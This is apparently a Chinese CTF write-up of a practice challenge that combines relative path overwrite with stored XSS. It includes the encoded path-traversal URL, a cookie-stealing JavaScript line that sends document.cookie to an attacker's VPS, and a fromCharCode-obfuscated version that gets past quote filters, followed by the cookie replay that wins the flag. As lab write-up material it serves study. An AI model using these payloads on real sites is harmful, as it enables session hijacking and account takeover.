有关RPO攻击的一道题目

 Qiqi's Blog     2018-05-09   1573 words    & views

RPO练习题WP

前一阵强网杯出了道有关rpo的题目,乘热打铁,k0rz3n师傅自己给我们出了道题目,让我们练练手

进入页面是一个bot自动提交的输入框和一个评论区入口

扫描一下目录我们还发现一个login.php

进去一看,是个登录框,随便输入用户名和密码

返回

显然我们是要获取管理员的cookie了

进入评论区看看,发现我们可以在评论区上评论

尝试插入<script>alert(1)</script>

访问http://ctf.k0rz3n.com/index.php/users/1/html/4,返回了我们输入的内容,查看源代码发现<>被实体编码了&lt;script&gt;alert(1);&lt;/script&gt;gt;

想到之前做过的一道xss,利用unicode去绕过实体编码,于是尝试着用unicode编码去绕过,发现依然没有什么效果

于是,我们再往回看,查看index.php的源代码,看到一个相对路径引用

这里存在RPO漏洞

RPO是利用浏览器的一些特性和部分服务端的配置差异导致的漏洞,通过构造我们可以通过相对路径来引入其他的文件,已达成我们想要的目的

我们来看一下这题的payloadhttp://ctf.k0rz3n.com/index.php/users/6/html/2/..%2f..%2f..%2f..%2f..%2findex.php

对于php而言,他获得的请求是url解码后的,%2f会被加码为/,apache和nginx会按照目录的方式来返回我们请求的资源。

对于payload,也就相当于访问http://ctf.k0rz3n.com/index.php/users/6/html/2/../../../../../index.php

向上跳了五层,依然会去访问index.php并同时去加载./js/jquery-3.2.1.min.js

但是服务端和客户端之间产生了差异,浏览器在寻找js资源的时候,并没有对%2f进行解码,就认为..%2f..%2f..%2f..%2f..%2findex.php是一段数据,但是有没有人来接受这段数据,相当于没有用,所以返回的资源还是http://ctf.k0rz3n.com/index.php/users/6/html/2/,也就是它当作了js来解析

利用这一点,我们就可以结合xss来攻击了

首先尝试着输入alert(1),访问http://ctf.k0rz3n.com/index.php/users/3/html/1/..%2f..%2f..%2f..%2f..%2findx.php发现成功弹框

接着再尝试输入alert('xss')

发现单引号没有被过滤(经过测试,双引号被过滤了),可以利用

于是构造(new Image()).src = 'http://vpsip:port?'+document.cookie

打开vps端口监听

http://ctf.k0rz3n.com/index.php/users/6/html/..%2f..%2f..%2f..%2f..%2findex.php提交给bot

vps上接受到请求包

成功获取cookie

然后我们访问http://ctf.k0rz3n.com/login.php并抓包,添加上我们获取到的cookie,发送出去,成功得到flag

这里再补充一下,如果单引号也被过滤了,我们还可以使用fromCharCode进行绕过处理(new Image()).src = String.fromCharCode(104,116,116,112,58,47,47,49,46,49,46,49,46,49,58,50,51,51,51,47)+document.cookie;